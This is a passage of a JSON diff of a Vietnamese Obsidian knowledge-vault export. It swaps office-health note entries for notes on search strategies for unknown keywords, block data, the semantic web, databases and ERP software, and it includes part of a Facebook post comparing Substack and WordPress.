bị nói ra cái điều mà thiện hạ người ta biết rồi. Facebook cũng ủng hộ bằng cách phân phối nội dung đến những người thường xuyên biết: vậy là giống như ngày nào cũng ra cùng một quán bia nói cùng một câu chuyện\n\nNhưng thực tế không phải như thế: có những người biết điều này, không biết điều kia\n\nCó những điều đã nẫu cả ra ở chỗ này, nhưng lại vô cùng mới với người khác.\n\n![🍀](https://static.xx.fbcdn.net/images/emoji.php/v9/t87/1/16/1f340.png) Ngược lại, Substack là Newsletter... bất kể đề tài gì bạn tính viết, bạn sẽ có cảm giác, bạn sẽ là người đầu tiên truyền tải đến Subscribers. Tuy thực tế nó không phải vậy, nó vẫn là quán bia đó thôi, nhưng cái cảm giác rất khác nhau khiến bạn có cảm hứng làm những thứ khác.\n\nHơn nữa: nó là THƯ, nó cá nhân, gửi đi là không sửa được. Không trau chuốt là không có kết quả. Người ta sẽ cho bạn ngay vào đám inbox rác. Bạn buộc phải tìm hiểu rất kỹ rồi mới viết.\n\n-----\n\nKhi Substack có 300 Subscribers đầu tiên (phải rất vất vả và đổ nhiều tiền), cũng là lúc các Content Marketers tưởng mình hay.\n\nBắt đầu nghĩ ra các loại series và bắt tôi lập ra. Tôi mới nhẹ nhàng bảo: \"Thường người ta chết ở bước thành công đầu tiên. Như một bài đã nói: niche quan trọng hơn brand\".\n\nBan đầu bạn làm vì các followers đó, vì cảm hứng rất nhiều từ các loại tư liệu, và chiêm nghiệm từ kinh nghiệm của bản thân. Người làm công sở có trải nghiệm công sở, người từng cãi nhau với Đoàn thanh niên ở trường thì có trải nghiệm cãi nhau với Đoàn thanh niên..\n\nNhưng không có outcome là không có động lực.\n\n\n[Quả Cầu](https://www.facebook.com/qua.cau.the.sphere?__cft__[0]=AZWJAXeALcYtj0yMTclhGUz2XReDR6nlB5FY-vqeqDEz9tP-6Q4Nxz_YWcFkn_uaGIXXR42qpRQK8LrgCYfoauXktzv5UrCb-bSGY5G5wpy-MkPE6gJtemhOD_59SBkHjsrP_cmuYXT7YQRmqsYrtYcuj6EiSNiUE2Cf6_Bsa7K0PklE6BhmGr87ek3iYls3kJ8&__tn__=R]-R) Anh nghĩ chắc là vì dùng WordPress vì bản thân nó k được nền tảng định hướng cho phân phối nội dung chuyên môn. Còn substack xây cộng đồng và data dù vất vả nhưng chắc chắn và nhanh hơn do công cụ có nhiều tính năng. Và thường đúng người hơn ấy. Substack phục vụ marketing và bán dịch vụ, sản phẩm 1 cách nghiêm túc hơn. Wordpress cảm giác để chơi chơi cho vui\n\n[SỰ THẬT LÀ: Đội #Marketing của chúng... - Đức Anh Kostroma](https://www.facebook.com/levubachduong/posts/pfbid02wuRNuZMvxQhinLPwXrZFszv3fFWsb2dtVZzy1Fk9kG14aSwv4rccCbiqepVdTZQl?comment_id=815529827445768&reply_comment_id=1178818033343623)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SE" + "Ngày tạo": "2024-08-31T06:18:00.000Z", + "Ngày cập nhật": "2024-09-02T10:04:00.000Z", + "id": "SS" }, { - "Tiêu đề": "Trĩ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Trĩ", + "Tiêu đề": "Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Mô tả bài đăng": "Đâu là nơi dễ gặp được từ khoá cần tìm nhất?", + "Toàn bộ nội dung": "Khái niệm:: [[Mental modal]]\n\n> The difference between the almost right word and the right word is really a large matter - 'tis the difference between the lightning-bug and the lightning.\n> — Mark Twain\n\nThực ra trong rất nhiều trường hợp, thứ cản trở ta có được từ khoá không hẳn là ở việc không biết phải bắt đầu tìm hiểu ở đâu, mà ở việc không có thời gian tìm hiểu. [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]. [[Có những câu hỏi ta rất muốn có câu trả lời nhưng mãi mà vẫn chưa đi google]]. [[Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó]]. Sẽ thật tốt nếu như bạn có ngay một người am hiểu về lĩnh vực đó và sẵn sàng trả lời cho bạn. Nhưng nếu bạn không có ai am hiểu lĩnh vực quanh mình, hoặc bạn không muốn làm phiền họ nên không muốn hỏi họ, hoặc họ cũng không biết câu trả lời, thì lúc này câu hỏi \"Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó\" sẽ trở thành:\n\n## Nếu tôi phải tự tìm hiểu một mình, thì đâu là nơi dễ gặp được từ khoá cần tìm nhất?\nCác gợi ý được sắp xếp theo mức độ dễ dàng.\n### Máy tìm kiếm\nNhược điểm của việc này là không ít chủ đề bị tấn công bởi SEO rác. Có thể giảm thiểu điều này bằng việc [[Ẩn kết quả tìm kiếm rác trên Google]], tuy nhiên cũng chỉ hạn chế được phần nào. Hơn nữa, kể cả khi không bị SEO rác, thì cũng có khả năng [[❓Tác giả của một bài viết không bao giờ vét cạn được mọi từ khoá mà người đọc có thể sẽ nhập vào máy tìm kiếm để được gợi ý tới bài viết đó]].\n\n### Các công cụ tổng hợp và liệt kê khái niệm\n- [Globe Explorer](https://explorer.globe.engineer/): tự động liệt kê các khái niệm liên quan và phân loại chúng \n- [Không gian vector từ của Google](https://projector.tensorflow.org/)\n- Từ điển các từ đồng nghĩa, gần nghĩa (synonyms) \n- Phần mục lục của [List of lists of lists](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\")\n\nChatGPT hay Gemini thực ra cũng nằm trong nhóm này, nhưng có lẽ chúng không hiệu quả bằng các công cụ trên trong nhiệm vụ này.\n\n### Các cộng đồng chuyên môn\nDiễn đàn chuyên về hỏi đáp [[Stack Exchange]] có cơ chế bầu chọn theo tập thể, giúp đưa thông tin hữu ích nhất lên cao. Quora cũng là một diễn đàn hỏi đáp có cơ chế bầu chọn theo tập thể, nhưng có vẻ nó thiên về nghe những câu chuyện từ những người có uy tín hơn. Với những câu hỏi để tìm từ khoá thì bạn không có nhiều không gian để giải thích vấn đề, và cũng dễ gặp tình trạng câu trả lời chỉ chung chung. Nếu muốn có những cuộc thảo luận mở thì mình thấy Reddit tốt hơn.\n\n- [TOMT: When you can't remember that…thing…](https://www.reddit.com/r/tipofmytongue/)\n- [Need something found? Maybe we can help!](https://www.reddit.com/r/HelpMeFind/)\n- [The Signpost of Reddit!](https://www.reddit.com/r/findareddit/)\n- [For the identification of mysterious objects](https://www.reddit.com/r/whatisthisthing/)\n- [I Need a Name (INAN)](https://www.reddit.com/r/INeedAName/)\n\nNếu cần nơi tổng hợp tiếng Việt thì mình có tổng hợp [500 nhóm Facebook hay](https://quảcầu.cc/cac-nhom-facebook-hay?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=Tài+nguyên+khác%2CLàm+việc+hiệu+quả&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=). Mục đích của danh sách này chủ yếu để seeding, không phải để tìm từ khoá, nhưng phần học thuật thì cũng có thể hữu ích cho bạn. Phần đó bây giờ cũng phải cập nhật lại.\n\nNếu dành thời gian để viết những gì bạn đã thử mà không được thì câu hỏi của bạn sẽ trở nên hấp dẫn hơn, tạo được nhiều tương tác hơn.\n\n### Các hệ thống tri thức cộng đồng\n- Phần mục lục của [List of lists of lists](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\"). Có thời gian thì tìm hiểu thêm về [[Uy quyền sự thật của Wikipedia]]\n- Awesome\n- Các kho kiến thức. Với tiếng Việt thì có [trang giới thiệu về đối ⊷ thoại](https://doi-thoai.deno.dev/blog?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=đối+⊷+thoại&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=).\n\nXem thêm:: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\n### Các nghiên cứu tổng quan, sách nhập môn, bài giảng đại học\nHết cách rồi, phải lao đầu vào nghiên cứu thật kỹ thôi.\n\n- Lên YouTube kiếm playlist bài giảng\n- Tìm trên Google Scholars bằng truy vấn `[chủ đề] literature review`\n- Lên [[LibGen]] tải sách \n\nXem thêm:: [[Tinh túy của một cuốn sách chính là mục lục của nó]]\n\n## Liệu đây đã là cách hiệu quả nhất chưa? \nQuay trở lại câu hỏi ban đầu:\n> Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó?\n\nNhư có đề cập ở đầu bài, trong rất nhiều trường hợp, thứ cản trở ta có được từ khoá không hẳn là ở việc không biết phải bắt đầu tìm hiểu ở đâu, mà ở việc không có thời gian tìm hiểu. [[Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu]]. [[Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình]]Cho nên, giải pháp tốt nhất cho vấn đề ban đầu không phải là hỏi xem \"Nếu tôi phải tự tìm hiểu một mình, thì đâu là nơi có tôi dễ gặp được từ khoá cần tìm nhất?\", mà là:\n\n> Làm sao để tôi có thể luôn tìm được người sẵn sàng chia sẻ hiểu biết của mình với chi phí chấp nhận được?\n\nĐiều này quay về ý tưởng [Tổ chức các buổi chia sẻ kỹ năng miễn phí với nhau](https://quảcầu.cc/cac-buoi-chia-se-ky-nang-mien-phi-voi-nhau?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=Dự+án&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=).\n\nTrong trường hợp vẫn phải tự tìm hiểu một mình, thì câu hỏi ban đầu thực chất là câu hỏi:\n> Từ khoá nào sẽ giúp tôi đi tìm từ khoá tôi chưa biết một cách hiệu quả?\n\nBan đầu mình nghĩ từ khoá đó là *Chiến lược tìm kiếm (Search strategy)*, là một chủ đề nằm trong ngành [Khoa học thông tin](https://en.wikipedia.org/wiki/Information_science \"Information science - Wikipedia\"). Nhưng sau đó mình nhận ra nó thiên về việc tìm kiếm tài liệu liên quan, vốn là phần đã được nói ở trên, hơn là đưa ra những lập luận để có một kết luận rằng liệu những gì đã nói ở trên là đã vét cạn mọi cách hiệu quả nhất chưa. Dù sao thì mình cũng chưa tìm hiểu sâu về nó nên cũng có thể kết luận sai.\n\nMình nghĩ câu hỏi ban đầu là một chủ đề trong công cụ nghĩ. Và theo mình hiểu thì hiện tại cũng chỉ là chịu khó lần mò để xem người ta bàn thế nào, rồi đọc trong đống họ bàn để biết được từ khóa thôi. Rốt cuộc thì tất cả những gì bạn có từ bên ngoài là gợi ý, và bạn phải tự đánh giá xem gợi ý đó có giải quyết khúc mắc của bạn hay không. Hên thì thỏa mãn hết còn xui thì bạn cũng chỉ có thể cảm ơn sự giúp đỡ của họ rồi phải tự đi tiếp. Xếp hạng của Google hay câu trả lời của chuyên gia hay người có kinh nghiệm cũng chỉ là gợi ý mà thôi. Chứ bạn nghĩ với những nhà nghiên cứu thì khi họ đang đứng ở biên giới tri thức thì làm gì có cái khái niệm có sẵn nào trả lời cho họ được. Họ chính là những người **tạo ra khái niệm** cho những người như chúng ta xài. Thì về bản chất mình cũng đang làm công việc giống như họ thôi, chỉ là đi sau họ thôi. Bộ công cụ họ sử dụng để tạo ra khái niệm mới cũng là bộ công cụ bạn dùng để đi tìm khái niệm họ đã tạo ra. \n\nLĩnh vực nghiên cứu về môi trường nghĩ này cũng chỉ mới được để ý nhiều gần đây. Mình nghĩ hiện tại lĩnh vực này cũng chưa có câu trả lời tốt nhất cho bạn. Và có thể nó sẽ cùng giống như nhiều lĩnh vực khác, nghiên cứu được một hồi thì cũng lại gặp ngõ cụt? Có thể lý do cho ngõ cụt đó là vì vướng phải những câu hỏi chưa ai trả lời được của khoa học nhận thức và triết học tinh thần? Ngõ cụt là lý do của chính nó?\n\nHoặc cũng có thể có câu trả lời rồi mà mình chưa biết. Nếu vậy thì là mình cũng đang không biết từ khóa của nó để mà tìm, và cũng không có thời gian để tìm tiếp.\n\n## Đọc thêm\n- [[Khai thác một từ khoá]]\n- [Bản chất của sự mơ hồ](https://quảcầu.cc/ly-thuyet-ve-goc-nhin?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=hiểu+lầm%2Cnét+nghĩa+ẩn%2Cthay+đổi+góc+nhìn%2CHiện+tượng+học%2C+khoa+học+nhận+thức%2C+vật+lý+luận%2Chiện+tượng+học&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=)\n- [[Nghịch lý triển ngôn]]\n- [[Xây dựng hệ thống tri thức cộng đồng|Xây dựng hệ thống tri thức cộng đồng: Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\n- [[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình|Làm sao để giỏi hơn?]]\n\n\n%%\nĐầu tiên, hãy hiểu rằng một từ được định nghĩa bởi một tổ hợp các từ khoá khác. Ví dụ, một người nước ngoài đang học tiếng Việt khi muốn nói về con mèo nhưng không biết tiếng Việt gọi con mèo như thế nào, thì có thể họ sẽ hỏi một câu như này:\n> Thứ gì có đuôi dài, bốn chân, kêu meo meo ấy nhỉ?\n\n`đuôi dài`, `bốn chân`, `kêu meo meo` là những **từ khoá định nghĩa nên từ khoá**. Dù họ không biết từ khoá chính xác là gì, họ cũng có những từ khoá sát với từ khoá họ cần tìm nhất. Bạn cũng đang giống họ, cố tìm một từ khoá để nắm bắt một ý niệm mơ hồ, nhưng bạn cũng lại thấy nó không mơ hồ chút nào. Có lẽ đây chính là một ví dụ điển hình của [[Nghịch lý triển ngôn]].%%", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SF" + "Ngày tạo": "2024-04-24T02:02:00.000Z", + "Ngày cập nhật": "2024-09-02T09:28:00.000Z", + "id": "ST" }, { - "Tiêu đề": "Viêm loét dạ dày", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Viêm loét dạ dày", + "Tiêu đề": "Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Block/Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Tuy nhiên, [[Khó có thể copy dữ liệu dạng block giữa các app khác nhau]]\r\nNguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SG" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "SU" }, { - "Tiêu đề": "Đau ngực do trào ngược dạ dày", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Đau ngực do trào ngược dạ dày", + "Tiêu đề": "Khó có thể copy dữ liệu dạng block giữa các app khác nhau", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Block/Khó có thể copy dữ liệu dạng block giữa các app khác nhau", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]] ", + "Toàn bộ nội dung": "Nguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SH" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "SV" }, { - "Tiêu đề": "Bàn phím", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Bàn phím", + "Tiêu đề": "Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Cơ sở dữ liệu dạng đồ thị/Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/SkNGxM4LRKQ\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Cấu trúc]]\n\nNguồn:: ![Fetching Title#k2om](https://youtu.be/AHblHPLoKKE?si=-HazdbhwnN5Lcdp2&t=278)\n\n[[The Semantic Web is essentially a distributed-objects framework]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SI" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "SW" }, { - "Tiêu đề": "Các chấn thương ở tay thường gặp", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Các chấn thương ở tay thường gặp", + "Tiêu đề": "The Semantic Web is essentially a distributed-objects framework", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Cơ sở dữ liệu dạng đồ thị/The Semantic Web is essentially a distributed-objects framework", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: [[Wikipedia]], [Object (computer science)](https://en.wikipedia.org/wiki/Object_(computer_science))\n\n[[Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SJ" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "SX" }, { - "Tiêu đề": "Ghế sofa có hại cho cột sống", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Ghế sofa có hại cho cột sống", + "Tiêu đề": "Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Cơ sở dữ liệu dạng đồ thị/Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: [A Skeptics Guide to Graph Databases - David Bechberger - YouTube](https://youtu.be/yOYodfN84N4?t=2095)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SK" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "SY" }, { - "Tiêu đề": "Gù lưng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Gù lưng", + "Tiêu đề": "DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "![](https://res.cloudinary.com/dg3gyk0gu/image/upload/c_scale,f_auto,q_auto:best,w_950/v1594114496/maggieappleton.com/databases-101/DB_3.jpg) \r\nNguồn:: [A Shelfish Starter Guide to Databases](https://maggieappleton.com/databases)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-28T13:46:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SL" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "SZ" }, { - "Tiêu đề": "Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng", + "Tiêu đề": "Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/1Nh_vxpycEA\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n\r\n| Nồng độ (ppm) | Vị trí thường gặp | Mức độ giảm | Triệu chứng |\r\n| ------------- | ------------------------ | ----------- | ----------- |\r\n| 500 | | | |\r\n| 1000 | | 15% | |\r\n| 4000 | Ở trong giường và xe hơi | | |\r\n| 10000 | Nón bảo hiểm | | |\r\n", + "Toàn bộ nội dung": "`=[[Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú]].a`\n- Thống nhất giữa các người dùng dễ dàng\n- Đảm bảo các bên tham gia nhập dữ liệu cùng một format\n- Số biến có hạn, nhưng nhất quán\n\nCâu hỏi:: Làm kỹ vấn đề onboard là được?, Dùng template là được?\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]\n\n[[Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc]]\nKhai báo biến trong một file thì sẽ bị phân mảnh. Khai báo trong bảng thì là khai báo trước dữ liệu sau\n\nThêm trường mới dễ dàng\nTạo biến trên csdl trước rồi mới add vào sau\n\n\nQuản lý insight thì không tốt lmaws\n\nNếu insight tiến hoá thì \n\nOdoo thiên về xử lý nghiệp vụ \n\n\nMuốn lưu cái gì thì phải đi khai báo. Cái gì cũng khai báo thì \n\nKhi thấy cần dữ liệu gì thì mới đi track. Người có kinh nghiệm sẽ biết những dữ liệu gì cần tráck theo từng pha\n\n\nQuản lý csdl thì phải phân loại. CR7 mà unique. \n\nNếu tư duy từ template thì nên đi từ tư duy database, ko nên đi theo kiểu text\n\nPhần mềm không giúp cho việc quản lý công việc chi tiết\n\nInput → store → bisiness process → view output \n\nCần dùng gr\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SM" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "Sa" }, { - "Tiêu đề": "Ô nhiễm tiếng ồn", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Ô nhiễm tiếng ồn", + "Tiêu đề": "Hệ thống thông tin", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nhu cầu công nghệ:: \nGiải pháp kỹ thuật:: [[Obsidian]]\n\n## Liệu các phần mềm hoạch định tài nguyên doanh nghiệp (ERP) có giải quyết được vấn đề đảo thông tin này không?\nCác phần mềm hoạch định tài nguyên doanh nghiệp ([enterprise resource planning](https://en.wikipedia.org/wiki/Enterprise_resource_planning \"Enterprise resource planning - Wikipedia\"), ERP) sẽ có những mô đun chuyên về quản lý tài chính. Tuy nhiên, với Kendy điều đó là không đủ. Đây là những yêu cầu cho một phần mềm quản trị mà Kendy cần. Thiếu một trong 3 đều không được:\n- [ ] Có khả năng tuỳ chỉnh theo đúng luồng làm việc, suy nghĩ của mình\n- [ ] Không phải dành quá nhiều thời gian để xây dựng hệ thống đó\n- [ ] Chi phí thấp\n\n### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n### Tự xây dựng ERP tốn rất nhiều thời gian\n![[Tự xây dựng ERP.png]]\nCó các phần mềm ERP mã nguồn mở như Odoo, và bạn có thể tự mình bổ sung thêm các tính năng 